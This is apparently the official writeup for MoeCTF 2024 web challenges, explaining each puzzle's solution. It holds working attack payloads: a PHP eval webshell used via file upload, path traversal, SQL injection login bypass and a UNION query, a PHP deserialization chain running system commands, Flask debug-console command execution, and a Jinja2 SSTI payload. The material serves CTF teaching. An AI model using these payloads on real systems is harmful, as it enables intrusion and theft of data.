跳转至

[MoeCTF 2024]Web 官方wp(Sxrhhh)

题目地址:https://ctf.xidian.edu.cn/games/10/challenges

这里是 MoeCTF 中,web 方向的部分官方 Writeup, 出题人为 Sxrhhh。

弗拉格之地的入口

本题考察的是关于 robots.txt 协议的内容。根据题目信息:“爬虫”,联想到爬虫遵循的协议 —— robots.txt ,直接访问 /robots.txt 即可。

弗拉格之地的挑战

本题考察关于 web 安全新手村的一些基本知识,灵感来源于攻防世界的新手题目 —— 引导模式前 12 题。本题将题目拆分为 7 个部分,需要分别完成。

flag1

在此之前,我们先需要来到 flag1 所在的网页。页面提示:/flag1ab.html,我们需要把这个玩意复制在浏览器上方的地址栏中进行跳转,然后正式开始第一题。

第一题,题目提示网页一片空白,但是其实还有东西。根据有关知识点:浏览器对 html 的渲染, 我们需要使用右键检查/F12/右上角设置开发人员工具/右键查看源代码,然后查看源代码,获得第二关的钥匙和 flag1,记录下来备用,并且直接访问 flag2 的关卡。

flag2

第二题,题目提示 "http",我们打开之前的 devtools,也就是 f12 打开的面板,换成 "网络” 选项卡,找到最上面那个和当前网页文件同名的一项,即 flag2hh.php,可以看到 "响应标头" 一项中有 FlagNextpage 两个头。记录并进入下一关。

此题知识点为 http 请求头,也就是说通过 http 传输的内容不只是 html 之类的数据,也有放在 header 里面的头信息。

flag3

第三题,直接完成题目所需的要求。需要传输 get/post 请求,我们很难直接在浏览器上完成,可以使用 burpsuite 抓包,也可以直接下载 Hackbar 浏览器插件,然后直接在插件中完成。

第三问要求进行 admin 的身份验证,很多人猜到了是 cookie 验证,但是并不知道需要的 key。这就涉及到 cookie 的一部分原理了。首先服务器要先发来一个 Set-cookie 的头,然后你的浏览器就会记录下这个 cookie。那么你想要篡改 cookie 内容,需要的就是观察 Set-cookie 头,然后根据它的格式进行修改。所以通过 flag2 的知识点,我们查看 Set-cookie 头的内容,是 verify=user ,所以我们需要修改 verify 的值为 admin,然后发送请求即可。(或者在“应用程序”选项卡之中把 verify 修改为 admin,然后刷新即可, 记得在 hackbar 中把 cookie 一项关掉)。

flag4

直接点击链接进入下一关,题目询问你是否从 http://localhost:8080/flag3cad.php?a=1 过来的。这个链接很像真的,但是确实是伪造的,只要你的端口不是 8080, ip 是 wsrx 的默认 127.0.0.1,或者你用的参数不是 a=1, 那就很容易露馅。不过无所谓,这题的本质其实还是 flag3的的知识点。网页是如何知道你是从哪个网站点击链接过来的,考的就是 Referer 的头。所以我们只需要把 Referer 头修改成要求的样子就可以正式进入第四关。如果想要更多这方面的考点,可以参考同比赛的 ez_http 这道题。

正式进入第四关。要求按照提示按下按钮,按钮数字为 1-8, 但是题目要求按下 9。所以我们可以打开 devtools 中的 "元素" 选项卡,或者通过右键检查元素,锁定到这一排按钮上,把一个按钮的 id 属性修改为 9,然后点击即可。

<button onclick="getID(this)" id="9">8</button>

以上为例,我们将按钮 8 的 id 修改为 9,然后按下按钮 8 即可。

最后,题目提示结果通过 console.log() 输出,这是 javascript 的命令,我们需要通过 "控制台" 标签页查看输出结果。

flag5

第五题,要求输入 "I want flag",但是按下按钮后,会不允许你发送。这是前端 javascript 脚本在作祟。我们可以稍微修改一下内容,比如 I want flag1 ,就可以发送了,虽然结果不对。然后我们就可以使用抓包工具进行修改一下就行。比如 burpsuite, 或者 Hackbar 直接 load 就可以了。

flag6

这题是 php 的代码审计,要求 get/post 两个方法各提交一个 moe 参数,其中对 get 参数的值进行判定,先是要求不能匹配到 flag , 但是有要求必须要有 flag 。注意到通过的过滤有一个 /flag/i ,也就是说不要求大小写。所以我们直接这么传:

GET: ?moe=flAg
POST:
moe=1

flag7

最后,题目提示 eval($_POST['what']);,这是典型的 php 一句话木马。我们使用蚁剑连接就可以,但是我们也可以直接获取 flag:

POST:
what=system('cat /flag7');

最后,我们也就获得了所有的 flag, 拼接在一起,即:

bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0=

最后通过 base64 解码即可。如果不知道的话,根目录下还有提示:

现在把你的 7 个 flag 片段拼在一起,你就应该知道怎么样获得最终 flag 了。 如果你还不知道,想一想这些编码,一堆大小写和数字,最后还有一个等号哦。。。

这是一个很明显的 base64 编码,之后遇到应该可以认出来。

垫刀之路01: MoeCTF?启动!

这题开始是一共 7 题的垫刀之路系列,考点单一,重点是让大家学到东西。

第一题题目提示是远程命令执行,我们在上面运行的所有东西都是直接直接作为 linux 命令执行后返回结果。所以我们可以直接使用 cat /flag 命令,得到提示,flag 在环境变量里。我们使用以下命令都可以:

env
printenv
echo $FLAG

垫刀之路02: 普通的文件上传

这题是文件上传,暂时没有过滤,所以我们构建一个 php 文件,比如 evil.php ,内容为:

<?php eval($_POST[1]);

然后根据题目提示,访问 uploads/evil.php ,然后提交 post 参数 1=system('env'); 即可。

垫刀之路03: 这是一个图床

这题和上题类似,区别是前端要求我们后缀名为 jpg/png/gif,后端限制 MIME 格式为 image/jpeg 之类的。我们直接上传 jpg 文件,那么最终服务器是不会解析 jpg 文件的。所以我们先把 evil.php 改名为 evil.jpg,然后上传,在过程中,我们使用 burpsuite 拦截,然后把文件名改为 evil.php,然后发送即可。

垫刀之路04: 一个文件浏览器

这题看到的是一堆文件和文件夹。题目提示说注意看 readme 文件。我们访问 src/readme.md ,可以看到下面有一些英文注释,提醒这个文件夹是没用的。其实整个显示的文件夹都是没用的,里面是我随便塞的一个文件。ctf 题目通常和题目具体提供的服务没太大关系,反而需要关注到提供服务过程中暴露出的漏洞。比如说这一题,url 中出现了参数 ?path=src, 那么这题可能和目录穿越漏洞有关。我们直接 ?path=../../../../../ 看见根目录文件即可。

最后顺着题目的线索,我们访问 /tmp/flag 即可。这个位置有点偏,但我觉得无伤大雅。毕竟已经可视化文件目录里,找一下也无所谓吧,就当时给其他题往这里藏 flag 的心理准备吧。

垫刀之路05: 登陆网站

这题是一个登陆页面。题目要求我们只要登陆成功即可。题目还提示我们登陆的账号名,以及密码不好破译。但是这样表述可能有点问题,有的人可能因此还是去爆破了。但是只是为了登陆,我们要想到sql注入

具体过程不展示,总之就是单引号的万能密码:

1' or '1'='1

把上面的填在密码那里就行。

垫刀之路06: pop base mini moj

这题是 php 反序列化漏洞的基础题。观察到 classB 有一个 __invoke 函数。这是一个 php 魔术方法,当对象被当作函数调用时自动触发。所以我们可以把一个对象 B 当作函数调用。这条链的起点就是 __destruct 函数。

想要把一个对象赋值给一个对象属性,而且还是私有的属性,我们不能直接赋值,也不能在外面赋值,但是我们可以使用 __construct 构造函数来赋值。下面就是 exp:

<?php

class A {
    // 注意 private 属性的序列化哦
    private $evil = "cat /flag";

    // 如何赋值呢
    private $a;

    public function __construct() {
        $this->a = new B();


    }
}

class B {
    private $b = "system";

}

$a = new A();
echo urlencode(serialize($a));

最后使用 urlencode 编码,就是因为序列化之后,private 属性的内容会有不可见字符。我们直接把他编码就行。

另外由于考虑不周,其实 B 类内部的考点可以直接运用于 A 内部,也就是说直接把 "system" 写在 A 里面,绕过了 B 类:

<?php

class A {
    // 注意 private 属性的序列化哦
    private $evil = "cat /flag";

    // 如何赋值呢
    private $a = "system";
}
$a = new A();
echo urlencode(serialize($a));

垫刀之路07: 泄漏的密码

这题提示说,泄漏了 flask 的 调试 PIN 码,那么应该如何使用呢?查阅资料,可知 PIN 码可进入控制台执行。但是网上资料显示都是通过报错进入。这里不好进。其实如果扫描或者做过类似的题目可以知道,我们可以访问 /console 直接进入控制台。(这里需要注意的是,通过此方法进入的控制台似乎只被允许本地访问。好在我们的 ctf 是基于连接器的,默认就是 localhost 访问。)

进入控制台,输入 PIN 码,然后就相当于是 pyjail 类的。不过要简单很多,因为没有限制,所以我们直接分步导入 os 模块并执行系统命令。

import os
os.popen('cat flag').read()

这里有几个注意点,如果使用 os.system() 函数,可能会没有回显。这应该是控制台的特性,我们换个方案就好了。

第二点就是如果你访问的是 /flag ,就会提醒 “远在天边,近在眼前”, 意思就是,你不要跑到根目录找 flag 了,就在工作目录下面。用意和之前一样,既然已经无成本找文件运行命令了,那还是希望你多找找,多认识几个可能藏 flag 的地方。

静态网页

这题原型是我自己的博客,把所有链接都删了所以只有一个首页。题目提示这是一个静态网页,一般不会有什么可攻打的地方,所以思考相关考点,也就是查看源代码之类的。所以我们查看源代码,在底部发现一行中文注释:好想知道她是怎么换衣服的啊啊啊,在 ctf 题目中莫名出现中文注释比较突兀,我觉得这很明显是个提示,应该往右下角 live2d 小人换衣服这个细节去考虑。

另外还有一点,就是如果你发现右下角小人可能有点突兀,如果你闲着没事干,和小人玩起来了,可能会发现他会说:你再点我我也不会告诉你我的衣服是向后端请求的!,这句话也有点突兀,没注意可能就略过去了。但是如果注意到了,细看就会发现端倪:为什么静态网页会有后端。

两个点,都像你提示换衣服会向后端请求。我们打开 devtools,查看 "网络" 选项卡,点击小人的换衣服,我们可以看见多出来几个请求。我们点击 get 这个请求,双击查看内容,是一个 json 文件。我们在底部可以看见所谓的 flag 。内容为:Please turn to final1l1l_challenge.php

所以我们访问 /final1l1l_challenge.php 即可。同样也是 php 代码审计,要求传入一个 ab 参数,要求 a 和 b 都不能是纯数字,并且 a 要求 a == 0 。这个涉及到 php 的弱类型比较。在php8以下,开头为0的或者开头不为数字的字符串可以和 0 弱比较相等。所以我们传入 a=0a 即可绕过前半部分。

后半部分要求是 md5($a) == $b[$a],有的师傅可能认为这是 md5 绕过,并且说绕不过去。其实只要静下来定睛一看就能看出来,这个表达式其实并没有对 a 参数做出任何限制,全是对 b 的限制。所以细看就能知道,我们要求的是 b[a] 就是 a 的 md5 值。至于如何赋值,请看下文:

GET: ?a=0a
POST:
b[0a]=e99bb33727d338314912e86fbdec87af

可以看到,想要传数组,直接把 a 的值丢进中括号就行了。b 的值就是 0a 的 md5 值。

勇闯铜人阵

这题没有什么可以多说的,目标就是把题目给的数字翻译成中文。但是由于时间限制 3 秒,我觉得一般人的手速加网速不太好做到手打全部搞定,所以一般需要一个脚本。这里给出我自己的 python 脚本:

import re
from pydash import trim
import requests
from bs4 import BeautifulSoup
url1 = "http://localhost:40763/restart"
url2 = "http://localhost:40763/"

sess = requests.session()
direct_list = ["北方", "东北方", "东方", "东南方", "南方", "西南方", "西方", "西北方"]

def parse_status(html):
    bs = BeautifulSoup(html, "html.parser")
    coin = trim(bs.find('h1', id='status').text)
    # 一枚硬币
    if len(coin) == 1:
        return direct_list[int(coin) - 1]
    # 两枚硬币
    else:
        nums = re.findall(r'\d', coin)
        return direct_list[int(nums[0]) - 1] + '一个,' + direct_list[int(nums[1]) - 1] + '一个'

if __name__ == "__main__":
    # restart
    sess.get(url=url1)
    # start
    body = {
        "player": "sxrhhh",
        "direct": "弟子明白",
    }
    r = sess.post(url=url2, data=body)
    # 循环
    for i in range(0, 5):
        payload = parse_status(r.text)
        body = {
            "player": "sxrhhh",
            "direct": payload,
        }
        r = sess.post(url=url2, data=body)
        # 打印结果
        bs = BeautifulSoup(r.text, "html.parser")
        status = trim(bs.find('h1', id='status').text)
        print(status)

who's blog?

这题要求我们传入自己的 id ,然后博客中就会出现我们的 id 内容。因为网页输出内容可控,所以有的人可能会想到 xss 漏洞。但是 xss 漏洞的可获得权限很低,一般没有什么用。这题其实是 Flask + Jinja2 的 SSTI 模板注入。具体细节就不说了,网上可以找到,这里直接给出 payload:

GET: ?id={{"".__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('echo $FLAG').read()}}

这次的 flag 还是放在环境变量里,好多人又忘了。。。。

这个 137 其实也是可以爆破出来的,当然我是直接打印所有 __subclasses__ 专挑 os_wrapper 数他是第几。

smbms

这题是一道 java 的代码审计。因为我对 java 开发和 java 安全都是刚入门没几天,所以这道题出出来也只是套了个 java 的壳子,本质上还是一道简单的 sql 注入题目,只是增大了代码量。

首先我们打开环境,是一个登陆页面。可能有人会尝试 sql 注入进去,但是试了之后就可以放弃了。整个 java 项目都使用 PrepareStatement 预编译语句,所以一般情况下是不能注入的。所以登陆进去的考点就是爆破。拿到源代码查看里面的 sql 语句,也能看到提示 weak_auth ,表示这是一个弱密码。其中 admin 的密码是 1234567 ,其他用户的密码是 0000000 。权限没有控制,随便选一个登陆就可以。

登陆进去之后,由于整个项目都是手搓的 jsp + servlet + jdbc, 所以没有现成的框架可以来利用,所以只能阅读代码。之前说过,我们使用的是预编译,所以我们不能哪里都能注入。但是我们还是可以找到一些端倪。sql 注入的核心就是字符串拼接,我们看到 java/top/sxrhhh/dao/user/UserDaoImpl.java 文件,看到 getUserList 方法,这个方法就是获取用户列表的,就是一个查表的函数。注意到这一行:

if (!StringUtils.isNullOrEmpty(userName)) {
    sql.append(" and u.userName like '%").append(userName).append("%'");
}

之前说过,sql 注入最重要的就是拼接字符串。这里就直接把 userName 拼接到 sql 语句中,所以如果 userName 就可以作为注入点。

然后我们就找到网页上对应的查表点位,直接开始列数为 14, 注入列数为 3 的注入(这些数据可以试出来,也可以直接查看源代码):

http://localhost:8080/smbms/jsp/user.do?method=query&queryName=李%25' union select 1,1,group_concat(flag),4,5,6,7,8,9,1,1,1,1,1 from flag where  '1'like'%251&queryUserRole=0&pageIndex=1 

总体的套路就是联合查询,如果采用注释后方 sql 语句的方式,可能不太奏效,这里我就使用直接闭合的方式。重点语句提取出来就是:

李%25' union select 1,1,group_concat(flag),4,5,6,7,8,9,1,1,1,1,1 from flag where  '1'like'%251

这个语句总体就能做到闭合前面也能闭合后面。%25 就是 % 本身。


文章热度:0次阅读